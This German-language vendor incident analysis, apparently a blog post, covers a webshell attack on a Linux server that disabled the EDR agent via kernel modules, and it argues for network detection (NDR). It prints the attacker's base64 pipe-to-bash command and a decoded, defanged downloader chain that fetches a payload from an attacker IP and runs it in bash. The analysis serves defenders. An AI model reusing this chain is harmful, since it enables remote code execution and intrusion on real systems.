Erkannt, aber nicht blockiert: Was ein Webshell-Angriff über die Lücke zwischen EDR und NDR verrät

An einem Sonntagnachmittag im Juli 2026, startete auf einem Linux-Webserver eine Attacke, die einen Payload aus dem Internet holte und direkt an die Shell weiterreichte. Der Endpoint-Schutz erkannte das sofort: korrekt klassifiziert, hohe Konfidenz, sauber auf MITRE ATT&CK abgebildet. Dann wurde es still. Es blieb bei diesem einen einzigen Alarm, denn der Angreifer schaltete als nächstes den Agenten selbst aus. Die beiden folgenden Angriffswellen in den Nächten darauf erschienen in der Endpoint-Telemetrie nicht mehr. Sichtbar blieben sie nur dort, wo der Angreifer keinen Zugriff hatte: im Netzwerk. Dieser Beitrag zeigt anhand eines anonymisierten realen Vorfalls, warum eine Schutzschicht, die auf dem angegriffenen System selbst läuft, strukturell verwundbar bleibt, und was das für die Verteidigungsarchitektur bedeutet.

Der Vorfall im Zeitraffer

Der Einstieg erfolgte über eine kompromittierte PHP-Anwendung in einer Shared-Hosting-Umgebung. Das Muster passt zur AnonymousFox-Familie, einem seit Jahren aktiven Webshell- und Mass-Dropper-Ökosystem, das gezielt WordPress-, Joomla- und generische PHP-Installationen auf geteilten Servern befällt. Aus dem Kontext eines unprivilegierten Hosting-Kontos heraus rief ein php-cgi-Prozess eine Shell auf, die eine externe Nutzlast nachlud.

Der Endpoint-Schutz reagierte sofort. Der entstandene Bash-Prozess wurde als LNX-DET-SUSPICIOUS-INTERACTIVE-SHELL mit Priorität Hoch und Konfidenz Hoch erkannt, zugeordnet zu TA0001 Initial Access und T1190 Exploit Public-Facing Application. Ein Fall wurde automatisch eröffnet. Die Erkennungslogik funktionierte präzise und schnell. Sie tat genau das, was man von ihr erwartet.

Was nicht folgte, war eine Reaktion. Kein Prozessabbruch, keine Isolation, keine Blockade der Verbindung. Und weil der Angreifer damit ungestört weiterarbeiten konnte, nutzte er das Zeitfenster für den Zug, der den restlichen Vorfall prägte: Er lud über die Kernel-Modul-Schnittstelle Code in den Kernel und brachte den Endpoint-Agenten zum Schweigen. Ab diesem Moment war der Server aus Sicht der Endpoint-Konsole ein unauffälliges System.

Es blieb bei dem einen Alarm vom Sonntagnachmittag. Die zweite Welle in der Nacht auf Montag und die dritte in der Folgenacht, beide mit weiteren Nachladestufen von wechselnden Domains, erzeugten keine einzige Endpoint-Erkennung mehr. Dass sie stattgefunden haben, wissen wir aus zwei Quellen: aus den Netzwerkdaten, die ausserhalb des Hosts entstehen, und aus der forensischen Untersuchung, nachdem der Server vom Netz genommen worden war. Dort fand sich auch die Spur des Kernel-Zugriffs, ein modprobe-Aufruf mit dem Argument net-pf-38.

Zwei Dinge fallen an diesem Ablauf zusammen. Erstens lag er vollständig ausserhalb der Bürozeiten. Ein Angriff, der am Sonntagnachmittag beginnt und in der Nacht auf Montag weiterläuft, trifft auf niemanden, der einen Alarm quittieren könnte. Alles, was in diesem Fenster nicht automatisch geschieht, geschieht nicht. Zweitens hätte selbst eine sofortige Bearbeitung des einen Alarms danach kein Bild mehr geliefert, weil die Quelle dieses Bildes ausgeschaltet war. Wer nur den Endpunkt beobachtet, hat in diesem Vorfall exakt eine Momentaufnahme und danach zwei Nächte Dunkelheit.

Die Nutzlast, dekodiert

Der eigentliche Befehl war in base64 verpackt, ein einfacher, aber wirksamer Trick gegen naive Zeichenkettensuchen in Logs und Kommandozeilen. Aufgezeichnet wurde eine Kommandozeile dieser Form:

sh -c echo KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtVCA2MDAgLXQgMiAtcU8t… | base64 -d | bash 2>&1

Dekodiert man den Block statisch, ohne ihn auszuführen, kommt eine bemerkenswert robust gebaute Downloader-Kette zum Vorschein:

(wget --no-check-certificate -T 600 -t 2 -qO- hxxp://212.83.185[.]19/bottom-zs.png
 || curl -m 600 -fsSL -k        hxxp://212.83.185[.]19/bottom-zs.png
 || python3 -c "import urllib.request as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read().decode())"
 || python  -c "import urllib2 as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read())"
) | bash

Vier Details daran verdienen Aufmerksamkeit, weil sie erklären, warum diese Kette am Endpunkt so schwer zu stoppen ist:

• looks_oneVier Fallback-Methoden. wget, curl, Python 3 und Python 2 werden nacheinander versucht. Es reicht, wenn eines davon auf dem Zielsystem vorhanden ist, und auf einem Webserver ist praktisch immer mindestens eines vorhanden. Das Entfernen einzelner Werkzeuge als Härtungsmassnahme läuft damit ins Leere.
• looks_twoKein Schreibvorgang auf die Festplatte. -qO- und -fsSL schreiben nach stdout, die Ausgabe geht per Pipe direkt an bash. Die Nutzlast der ersten Stufe existiert nur im Arbeitsspeicher. Ein dateibasierter On-Access-Scan hat schlicht nichts zu prüfen, selbst wenn er aktiviert ist.
• looks_3Zertifikatsprüfung deaktiviert. --no-check-certificate und -k nehmen jedes Zertifikat an. Der Angreifer plant für den Fall, dass unterwegs etwas aufbricht oder umleitet, und will nicht an TLS-Fehlern scheitern.
• looks_4Getarnte Dateiendung. Die URL endet auf .png, der Inhalt ist ein Shell-Skript. Diese Diskrepanz zwischen erwartetem und tatsächlichem Inhaltstyp ist am Endpunkt irrelevant, weil dort nie eine Datei entsteht. Auf der Leitung ist sie ein Volltreffer.

Ein weiteres Tarnungsdetail zeigte sich in den späteren Abrufen: Die Anfragen trugen einen gefälschten iPhone-User-Agent und den Referer https://google.com/. Das soll in Webserver-Logs nach normalem Besucherverkehr aussehen. Aus Netzwerksicht ist es das Gegenteil von unauffällig: Ein Serverprozess, der sich als mobiler Safari-Browser ausgibt und dabei behauptet, von einer Suchmaschine zu kommen, ist ein Profil, das im Normalbetrieb schlicht nicht vorkommt.

Der Griff zum Kernel: wie der Agent zum Schweigen kam

Der Wendepunkt des Vorfalls ist der Moment, in dem der Angreifer aufhört, sich zu verstecken, und stattdessen den Beobachter angreift. Der forensische Befund dazu ist ein modprobe-Aufruf mit dem Argument net-pf-38. Dahinter steckt ein bekannter Mechanismus: Öffnet ein Prozess einen Socket für eine ungewöhnliche Protokollfamilie, lädt der Kernel das passende Modul automatisch nach. Das ist der Türöffner, um eigenen Code in den Kernel zu bringen, ohne ihn selbst explizit laden zu müssen. MITRE führt das unter T1547.006 (Kernel Modules and Extensions), die Wirkung unter T1562.001 (Impair Defenses: Disable or Modify Tools).

Unter Windows kennt man dieses Vorgehen als BYOVD, Bring Your Own Vulnerable Driver: Der Angreifer bringt einen legitim signierten, aber verwundbaren Treiber mit und benutzt dessen Kernel-Rechte, um den Sicherheits-Agenten zu beenden oder seine Hooks auszuhängen. Auf Linux gibt es keine Treibersignaturen im Windows-Sinn, das Ziel ist aber dasselbe und der Weg führt über Kernel-Module. Wer im Kernel ist, steht über jedem Prozess im User-Space, und ein Endpoint-Agent ist ein Prozess im User-Space, dessen Sichtbarkeit von Kernel-Schnittstellen abhängt, die derselbe Kernel bereitstellt.

Genau darin liegt die strukturelle Schwäche, und sie ist nicht produktspezifisch. Ein Agent schützt das System, auf dem er selbst ausgeführt wird. Er teilt mit dem Angreifer die Maschine, den Kernel und ab einem bestimmten Rechteniveau die Vertrauensdomäne. Erreicht der Angreifer dieses Niveau, ist der Agent nicht mehr Gegner, sondern Ziel: beendbar, blendbar, manipulierbar. Das gilt für jedes agentenbasierte Produkt, unabhängig vom Hersteller, und es ist der Grund, warum EDR-Killer zu einer eigenen Werkzeugkategorie geworden sind.

Für die Verteidigung folgt daraus eine unbequeme Konsequenz: Die Abwesenheit von Alarmen ist keine Information. Ein Endpunkt, der ab einem bestimmten Zeitpunkt keine Erkennungen mehr liefert, kann sauber sein oder erobert. Von der Konsole aus sehen beide Zustände identisch aus. Nach dem einen Alarm vom Sonntag hätte man nur aus dem Ausbleiben weiterer Meldungen schliessen können, dass sich das Problem erledigt hat. Das Gegenteil war der Fall.

Die zwei Wellen, die niemand am Endpunkt sah

Nach dem Kernel-Zugriff kehrte der Angreifer zweimal zurück und lud jeweils von einer anderen Adresse nach: einmal von einer Domain-Variante des ursprünglichen Namens, einmal von der ursprünglichen Domain selbst, beide mit versteckten Pfaden, die mit einem Punkt beginnen (/.p7/ und /.llm/). Das ist eine gängige Redundanzstrategie: Wird ein Name gesperrt, greift der nächste. Für die Verteidigung heisst das, dass eine Sperre auf Ebene einzelner Domains immer hinterherläuft, während eine Sperre auf Ebene der Kommunikationsbeziehung sofort wirkt.

Beide Wellen hinterliessen am Endpunkt keine Spur in der Telemetrie. Auf der Leitung hinterliessen sie eine vollständige: Verbindungsaufbau, Ziel, Pfad, Header, Volumen und Zeitpunkt. Der Angreifer hatte die eine Beobachtungsschicht ausgeschaltet und die andere nicht einmal bemerkt, weil sie nicht auf seinem Server lag.

Warum der Endpoint-Schutz nicht blockiert hat

Der wichtigste Befund zuerst, weil er gegen die Erwartung läuft: Es war kein Erkennungsversagen. Die eingesetzte Lösung, in diesem Fall Sophos XDR mit dem Server Protection Agent für Linux, hat den Angriff sofort erkannt, korrekt benannt und sauber auf ATT&CK abgebildet. Das ist eine gute Leistung. Entscheidend ist, was in der Minute danach nicht passierte, denn dieses Zeitfenster war es, das dem Angreifer den Zugriff auf den Kernel und damit auf den Agenten selbst ermöglichte. Die Blockade blieb aus vier Gründen aus, die sich alle nicht auf die Erkennungsqualität beziehen.

Dazu kommt der Faktor, der alle vier verstärkt: das Zeitfenster. Sonntagnachmittag bis Montagnacht. Ohne 24/7-Abdeckung oder automatisierte Reaktion ist ein Alarm in diesem Fenster genau das, ein Alarm. Wer nur eine Detektionsschicht ohne Durchgriff betreibt, verlässt sich implizit darauf, dass Angreifer während der Bürozeiten arbeiten. Das tun sie nachweislich nicht.

Und dann kommt der fünfte Punkt, der die vier anderen erledigt: Nach dem Kernel-Zugriff war die Frage der Konfiguration gegenstandslos. Man kann eine Richtlinie härten, Ausschlüsse entfernen, Deep Learning und CryptoGuard reaktivieren und Blockiermodi einschalten. Nichts davon hilft, wenn der Angreifer den Agenten stilllegt, der all diese Funktionen ausführen soll. Eine Schutzschicht, die auf dem Zielsystem läuft, ist immer nur so stark wie das schwächste Rechteproblem dieses Systems. Deshalb ist die Antwort auf diesen Vorfall keine bessere Endpoint-Konfiguration, sondern eine zweite Beobachtungsebene ausserhalb der Reichweite des Angreifers.

Was das NDR gesehen und getan hat

Auf Netzwerkebene stellte sich derselbe Vorgang völlig anders dar, und zwar über den ganzen Vorfall hinweg, nicht nur in der ersten Minute. Das liegt nicht daran, dass das NDR «besser» erkennt, sondern an zwei Eigenschaften: Es stellt eine andere Frage, und es steht an einem anderen Ort. Der Endpunkt fragt: Ist dieser Prozess bösartig? Das Netzwerk fragt: Ist diese Kommunikationsbeziehung normal? Und es tut das von einem Sensor aus, der am Mirror-Port oder TAP hängt, nicht auf dem kompromittierten Server. Der Angreifer hätte Root-Zugriff auf einer ganz anderen Maschine gebraucht, um diese Sicht zu beeinflussen. Beim initialen Download war die Kommunikationsbeziehung in mehrfacher Hinsicht nicht normal.

Aus diesen Signalen entstand ein Alert mit kritischem Bedrohungsscore und automatischer MITRE-ATT&CK-Zuordnung. Weil der Score die konfigurierte Schwelle überschritt, griff die Auto-Response: IRONATE NDR setzte über die REST-API der Perimeter-Firewall eine Sperrregel, in beide Richtungen, also sowohl für den betroffenen Host als Quelle als auch für das externe Ziel. Zwischen Erkennung und wirksamer Regel lagen Sekunden. Parallel wurde ein Incident im Case Management eröffnet und über Syslog an das SIEM weitergeleitet, mit vollständigem Audit-Trail.

Die Wirkung zeigte sich bei den Folgestufen: Die späteren Nachladeversuche liefen ins Leere. Der Angreifer hatte weiterhin seine Webshell und weiterhin seinen Kernel-Zugriff, aber keinen Transportweg mehr für neue Werkzeuge. Genau das ist der Unterschied zwischen einem Vorfall, den man am Montag aufräumt, und einem Vorfall, der über Nacht eskaliert.

Der eigentliche Punkt liegt aber nicht in der Blockade, sondern in der Kontinuität. Auch nachdem der Agent stillgelegt war, lief die Aufzeichnung weiter. Die beiden Folgewellen sind vollständig dokumentiert: mit Zeitpunkt, Ziel, Pfad und Header, obwohl der Server selbst zu diesem Zeitpunkt nichts mehr meldete. Diese Aufzeichnung war später die Grundlage für die Bestimmung des Vorfallumfangs. Ohne sie hätte man nach dem einen Alarm vom Sonntag vor einem System gestanden, das seit zwei Tagen schweigt, und keinen Weg gehabt, zwischen «bereinigt» und «vollständig übernommen» zu unterscheiden.

NDR und EDR im Vergleich: warum sie keine Alternativen sind

Es wäre die falsche Lehre aus diesem Vorfall, den Endpoint-Schutz für überflüssig zu erklären. Ohne ihn wüssten wir nicht, welcher Prozess unter welchem Konto welche Kommandozeile ausgeführt hat, und die forensische Rekonstruktion wäre deutlich mühsamer gewesen. Die beiden Ebenen liefern unterschiedliche Wahrheiten über denselben Vorgang. Wer nur eine davon hat, sieht die halbe Geschichte.

Die entscheidende Zeile ist die vierte von unten. Alle anderen Unterschiede sind Abwägungen, bei denen man je nach Umgebung zu verschiedenen Schlüssen kommen kann. Diese eine ist kategorisch: Eine Beobachtungsschicht, die der Angreifer abschalten kann, ist im Ernstfall genau dann nicht verfügbar, wenn man sie am dringendsten braucht. Es geht dabei nicht um Produktqualität, sondern um Topologie. Ein Agent sitzt innerhalb des Angriffsziels, ein Netzwerksensor daneben.

Diese Argumentation ist nicht neu, sie wird nur selten so vollständig belegt. Angreifer wissen längst, dass der Endpunkt die am besten überwachte Ebene ist, und richten ihre Werkzeuge entsprechend aus. Wir haben das im Beitrag zu EDR-Killern ausführlich beschrieben. Dieser Vorfall liefert dazu den praktischen Beleg, und zwar in der unangenehmsten Reihenfolge: Erst zeigte der Agent, dass er erkennen kann, dann wurde er ausgeschaltet, bevor jemand auf seine Erkenntnis reagieren konnte.

Was daraus konkret folgt

Indicators of Compromise (IOCs)

Alle Angaben beziehen sich ausschliesslich auf externe Angreiferinfrastruktur und generische Angriffsmuster. Adressen sind entschärft dargestellt.

Häufige Fragen